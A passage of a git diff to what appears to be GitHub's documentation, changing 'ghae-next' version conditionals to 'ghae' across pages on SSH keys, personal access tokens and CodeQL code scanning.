b/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md @@ -20,7 +20,7 @@ shortTitle: Generate new SSH key If you don't already have an SSH key, you must generate a new SSH key to use for authentication. If you're unsure whether you already have an SSH key, you can check for existing keys. For more information, see "[Checking for existing SSH keys](/github/authenticating-to-github/checking-for-existing-ssh-keys)." -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +{% ifversion fpt or ghae or ghes > 3.1 or ghec %} If you want to use a hardware security key to authenticate to {% data variables.product.product_name %}, you must generate a new SSH key for your hardware security key. You must connect your hardware security key to your computer when you authenticate with the key pair. For more information, see the [OpenSSH 8.2 release notes](https://www.openssh.com/txt/release-8.2). @@ -190,7 +190,7 @@ Before adding a new SSH key to the ssh-agent to manage your keys, you should hav {% endlinux %} -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} +{% ifversion fpt or ghae or ghes > 3.1 or ghec %} ## Generating a new SSH key for a hardware security key If you are using macOS or Linux, you may need to update your SSH client or install a new SSH client prior to generating a new SSH key. For more information, see "[Error: Unknown key type](/github/authenticating-to-github/error-unknown-key-type)." diff --git a/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md b/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md index 000a98288d..1d89343fd8 100644 --- a/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md +++ b/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md @@ -78,7 +78,7 @@ If you authenticate without {% data variables.product.prodname_cli %}, you will {% ifversion fpt or ghec %}To use a personal access token or SSH key to access resources owned by an organization that uses SAML single sign-on, you must also authorize the personal token or SSH key. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."{% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## {% data variables.product.company_short %}'s token formats diff --git a/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md b/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md index 37929da7c0..021bb83cc6 100644 --- a/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md +++ b/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md @@ -54,7 +54,7 @@ A token with no assigned scopes can only access public information. To use your ![Generate token button](/assets/images/help/settings/generate_token.png) {% ifversion fpt or ghec %} ![Newly created token](/assets/images/help/settings/personal_access_tokens.png) - {% elsif ghes > 3.1 or ghae-next %} + {% elsif ghes > 3.1 or ghae %} ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe.png) {% else %} ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png) diff --git a/content/authentication/troubleshooting-ssh/error-unknown-key-type.md b/content/authentication/troubleshooting-ssh/error-unknown-key-type.md index 1e1771960c..9041475e84 100644 --- a/content/authentication/troubleshooting-ssh/error-unknown-key-type.md +++ b/content/authentication/troubleshooting-ssh/error-unknown-key-type.md @@ -4,7 +4,7 @@ intro: 'This error means that the SSH key type you used was unrecognized or is u versions: fpt: '*' ghes: '>=3.2' - ghae: next + ghae: '*' ghec: '*' topics: - SSH diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md index be3d1c507d..fb05626d65 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md +++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md @@ -27,7 +27,7 @@ topics: There are two main ways to use {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %}: - Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)." -- Run the {% data variables.product.prodname_codeql %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}CLI directly {% elsif ghes = 3.0 %}CLI or runner {% else %}runner {% endif %} in an external CI system and upload the results to {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_codeql %} code scanning in your CI system ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)." +- Run the {% data variables.product.prodname_codeql %} {% ifversion fpt or ghes > 3.1 or ghae or ghec %}CLI directly {% elsif ghes = 3.0 %}CLI or runner {% else %}runner {% endif %} in an external CI system and upload the results to {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_codeql %} code scanning in your CI system ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)." ## About {% data variables.product.prodname_codeql %} diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md index c51ed6834e..88ca60761c 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md +++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md @@ -32,7 +32,7 @@ shortTitle: Configure code scanning ## About {% data variables.product.prodname_code_scanning %} configuration You can run {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %}, using {% data variables.product.prodname_actions %}, or from your continuous integration (CI) system. For more information, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)" or -{%- ifversion fpt or ghes > 3.0 or ghae-next %} +{%- ifversion fpt or ghes > 3.0 or ghae %} "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)." {%- else %} "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." @@ -86,16 +86,16 @@ If you scan pull requests, then the results appear as alerts in a pull request c Using the `pull_request` trigger, configured to scan the pull request's merge commit rather than the head commit, will produce more efficient and accurate results than scanning the head of the branch on each push. However, if you use a CI/CD system that cannot be configured to trigger on pull requests, you can still use the `on:push` trigger and {% data variables.product.prodname_code_scanning %} will map the results to open pull requests on the branch and add the alerts as annotations on the pull request. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." {% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ### Defining the severities causing pull request check failure -By default, only alerts with the severity level of `Error`{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} or security severity level of `Critical` or `High`{% endif %} will cause a pull request check failure, and a check will still succeed with alerts of lower severities. You can change the levels of alert severities{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} and of security severities{% endif %} that will cause a pull request check failure in your repository settings. For more information about severity levels, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#about-alerts-details)." +By default, only alerts with the severity level of `Error`{% ifversion fpt or ghes > 3.1 or ghae or ghec %} or security severity level of `Critical` or `High`{% endif %} will cause a pull request check failure, and a check will still succeed with alerts of lower severities. You can change the levels of alert severities{% ifversion fpt or ghes > 3.1 or ghae or ghec %} and of security severities{% endif %} that will cause a pull request check failure in your repository settings. For more information about severity levels, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#about-alerts-details)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} 1. Under "Code scanning", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting.png) {% else %} ![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting-ghae.png) @@ -176,7 +176,7 @@ jobs: {% ifversion ghes %}You must ensure that Git is in the PATH variable on your self-hosted runners.{% else %}If you use a self-hosted runner, you must ensure that Git is in the PATH variable.{% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Specifying the location for {% data variables.product.prodname_codeql %} databases In general, you do not need to worry about where the {% data variables.product.prodname_codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action. @@ -238,7 +238,7 @@ Alternatively, you can install Python dependencies manually on any operating sys ```yaml jobs: CodeQL-Build: - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: security-events: write actions: read{% endif %} @@ -269,7 +269,7 @@ jobs: ``` {% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Configuring a category for the analysis Use `category` to distinguish between multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. The category you specify in your workflow will be included in the SARIF results file. diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md index a54f0f60be..42c5f3df55 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md +++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md @@ -48,7 +48,8 @@ If your workflow uses a `language` matrix, `autobuild` attempts to build each of {% note %} -{% ifversion ghae %}**Note**: For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." +{% ifversion ghae %} +**Note**: {% data reusables.actions.self-hosted-runners-software %} {% else %} **Note**: If you use self-hosted runners for {% data variables.product.prodname_actions %}, you may need to install additional software to use the `autobuild` process. Additionally, if your repository requires a specific version of a build tool, you may need to install it manually. For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md index 2b8052ebfc..3d209f2f24 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md +++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md @@ -37,7 +37,7 @@ By default, {% data variables.product.prodname_code_scanning %} analyzes your co ## About alerts details -Each alert highlights a problem with the code and the name of the tool that identified it. You can see the line of code that triggered the alert, as well as properties of the alert, such as the severity{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, security severity,{% endif %} and the nature of the problem. Alerts also tell you when the issue was first introduced. For alerts identified by {% data variables.product.prodname_codeql %} analysis, you will also see information on how to fix the problem. +Each alert highlights a problem with the code and the name of the tool that identified it. You can see the line of code that triggered the alert, as well as properties of the alert, such as the severity{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, security severity,{% endif %} and the nature of the problem. Alerts also tell you when the issue was first introduced. For alerts identified by {% data variables.product.prodname_codeql %} analysis, you will also see information on how to fix the problem. ![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-alert.png) @@ -49,9 +49,9 @@ When {% data variables.product.prodname_code_scanning %} reports data-flow alert Alert severity levels may be `Error`, `Warning`, or `Note`. -By default, any code scanning results with a severity of `error` will cause check failure. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can specify the severity level at which pull requests that trigger code scanning alerts should fail. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)."{% endif %} +By default, any code scanning results with a severity of `error` will cause check failure. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}You can specify the severity level at which pull requests that trigger code scanning alerts should fail. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)."{% endif %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ### About security severity levels {% data variables.product.prodname_code_scanning_capc %} displays security severity levels for alerts that are generated by security queries. Security severity levels can be `Critical`, `High`, `Medium`, or `Low`. @@ -90,11 +90,11 @@ By default, the code scanning alerts page is filtered to show alerts for the def {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} 1. Optionally, use the free text search box or the drop-down menus to filter alerts. For example, you can filter by the tool that was used to identify alerts. ![Filter by tool](/assets/images/help/repository/code-scanning-filter-by-tool.png){% endif %} {% data reusables.code-scanning.explore-alert %} -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ![Summary of alerts](/assets/images/help/repository/code-scanning-click-alert.png) {% else %} ![List of alerts from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) @@ -104,7 +104,7 @@ By default, the code scanning alerts page is filtered to show alerts for the def 1. Alerts from {% data variables.product.prodname_codeql %} analysis include a description of the problem. Click **Show more** for guidance on how to fix your code. ![Details for an alert](/assets/images/help/repository/code-scanning-alert-details.png) -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} {% note %} **Note:** For {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_codeql %}, you can see information about the latest run in a header at the top of the list of {% data variables.product.prodname_code_scanning %} alerts for the repository. @@ -186,11 +186,11 @@ Anyone with write permission for a repository can fix an alert by committing a c If you have write permission for a repository, you can view fixed alerts by viewing the summary of alerts and clicking **Closed**. For more information, see "[Viewing the alerts for a repository](#viewing-the-alerts-for-a-repository)." The "Closed" list shows fixed alerts and alerts that users have dismissed. -You can use{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then in turn mark all matching alerts as closed. +You can use{% ifversion fpt or ghes > 3.1 or ghae or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then in turn mark all matching alerts as closed. Alerts may be fixed in one branch but not in another. You can use the "Branch" drop-down menu, on the summary of alerts, to check whether an alert is fixed in a particular branch. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ![Filtering alerts by branch](/assets/images/help/repository/code-scanning-branch-filter.png) {% else %} ![Filtering alerts by branch](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-filter.png) @@ -226,9 +226,9 @@ To dismiss or delete alerts: ![Deleting alerts](/assets/images/help/repository/code-scanning-delete-alerts.png) - Optionally, you can use{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then delete all matching alerts at once. For example, if you have removed a query from {% data variables.product.prodname_codeql %} analysis, you can use the "Rule" filter to list just the alerts for that query and then select and delete all of those alerts. + Optionally, you can use{% ifversion fpt or ghes > 3.1 or ghae or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then delete all matching alerts at once. For example, if you have removed a query from {% data variables.product.prodname_codeql %} analysis, you can use the "Rule" filter to list just the alerts for that query and then select and delete all of those alerts. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ![Filter alerts by rule](/assets/images/help/repository/code-scanning-filter-by-rule.png) {% else %} ![Filter alerts by rule](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png) @@ -236,7 +236,7 @@ To dismiss or delete alerts: 1. If you want to dismiss an alert, it's important to explore the alert first, so that you can choose the correct dismissal reason. Click the alert you'd like to explore. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ![Open an alert from the summary list](/assets/images/help/repository/code-scanning-click-alert.png) {% else %} ![List of alerts from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md index 86f31bd0c0..a5315a96bc 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md +++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md @@ -31,7 +31,7 @@ topics: If you're setting up {% data variables.product.prodname_code_scanning %} for a compiled language, and you're building the code in a containerized environment, the analysis may fail with the error message "No source code was seen during the build." This indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code as it was compiled. -{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.0 or ghae or ghec %} You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_cli %}, the {% data variables.product.prodname_codeql_runner %}, or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_cli %} or the {% data variables.product.prodname_codeql_runner %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)." {% else %} You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_runner %} or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_runner %}, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)." @@ -63,7 +63,7 @@ on: jobs: analyze: name: Analyze - runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: security-events: write actions: read{% endif %} diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md index 93999b69a9..49df6f9929 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md +++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md @@ -47,7 +47,7 @@ Enterprise owners, organization and repository administrators can add self-hoste {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} -1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**. {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} +1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} !["Set up {% data variables.product.prodname_code_scanning %}" button to the right of "{% data variables.product.prodname_code_scanning_capc %}" in the Security Overview](/assets/images/help/security/overview-set-up-code-scanning.png) 4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.product.prodname_codeql_workflow %} or on a third-party workflow. !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.product.prodname_codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository. @@ -93,7 +93,7 @@ After setting up {% data variables.product.prodname_code_scanning %} for your re **Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png) {% else %} ![Click the "n alerts found" link](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png) @@ -135,7 +135,7 @@ There are other situations where there may be no analysis for the latest commit To check whether a branch has been scanned, go to the {% data variables.product.prodname_code_scanning_capc %} page, click the **Branch** drop-down and select the relevant branch. -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ![Choose a branch from the Branch drop-down menu](/assets/images/help/repository/code-scanning-branch-dropdown.png) {% else %} ![Choose a branch from the Branch drop-down menu](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-dropdown.png) diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md index 9a11aa8815..c1ea916c94 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md +++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md @@ -1,13 +1,13 @@ --- title: Tracking code scanning alerts in issues using task lists shortTitle: Track alerts in issues -intro: 'You can add code scanning alerts to issues using task lists. This makes it easy to create a plan for development work that includes fixing alerts.' +intro: You can add code scanning alerts to issues using task lists. This makes it easy to create a plan for development work that includes fixing alerts. product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permission to a repository you can track {% data variables.product.prodname_code_scanning %} alerts in issues using task lists.' versions: fpt: '*' ghes: '> 3.3' - ghae: "issue-5036" + ghae: issue-5036 type: how_to topics: - Advanced Security @@ -62,7 +62,7 @@ The status of the tracked alert won't change if you change the checkbox state of {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} -{% ifversion fpt or ghes or ghae-next %} +{% ifversion fpt or ghes or ghae %} {% data reusables.code-scanning.explore-alert %} 1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)." {% endif %} @@ -79,4 +79,4 @@ The status of the tracked alert won't change if you change the checkbox state of {% endwarning %} ![New tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-new-tracking-issue.png) -3. Click **Submit new issue**. \ No newline at end of file +3. Click **Submit new issue**. diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md index c185d25ea2..8b4a6464af 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md +++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md @@ -49,11 +49,11 @@ For all configurations of {% data variables.product.prodname_code_scanning %}, t ### {% data variables.product.prodname_code_scanning_capc %} results check failures -If the {% data variables.product.prodname_code_scanning %} results check finds any problems with a severity of `error`{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, `critical`, or `high`,{% endif %} the check fails and the error is reported in the check results. If all the results found by {% data variables.product.prodname_code_scanning %} have lower severities, the alerts are treated as warnings or notes and the check succeeds. +If the {% data variables.product.prodname_code_scanning %} results check finds any problems with a severity of `error`{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, `critical`, or `high`,{% endif %} the check fails and the error is reported in the check results. If all the results found by {% data variables.product.prodname_code_scanning %} have lower severities, the alerts are treated as warnings or notes and the check succeeds. ![Failed {% data variables.product.prodname_code_scanning %} check on a pull request](/assets/images/help/repository/code-scanning-check-failure.png) -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can override the default behavior in your repository settings, by specifying the level of severities {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}and security severities {% endif %}that will cause a pull request check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)". +{% ifversion fpt or ghes > 3.1 or ghae or ghec %}You can override the default behavior in your repository settings, by specifying the level of severities {% ifversion fpt or ghes > 3.1 or ghae or ghec %}and security severities {% endif %}that will cause a pull request check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)". {% endif %} ### Other {% data variables.product.prodname_code_scanning %} checks diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md index 96dec45cdf..bf886eac2f 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md +++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md @@ -65,7 +65,7 @@ If an automatic build of code for a compiled language within your project fails, ```yaml jobs: - analyze:{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + analyze:{% ifversion fpt or ghes > 3.1 or ghae or ghec %} permissions: security-events: write actions: read{% endif %} @@ -123,7 +123,7 @@ If your workflow fails with an error `No source code was seen during the build` For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae or ghec %} ## Lines of code scanned are lower than expected For compiled languages like C/C++, C#, Go, and Java, {% data variables.product.prodname_codeql %} only scans files that are built during the analysis. Therefore the number of lines of code scanned will be lower than expected if some of the source code isn't compiled correctly. This can happen for several reasons: diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md index cf3525beb6..0f67facbfb 100644 --- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md +++ 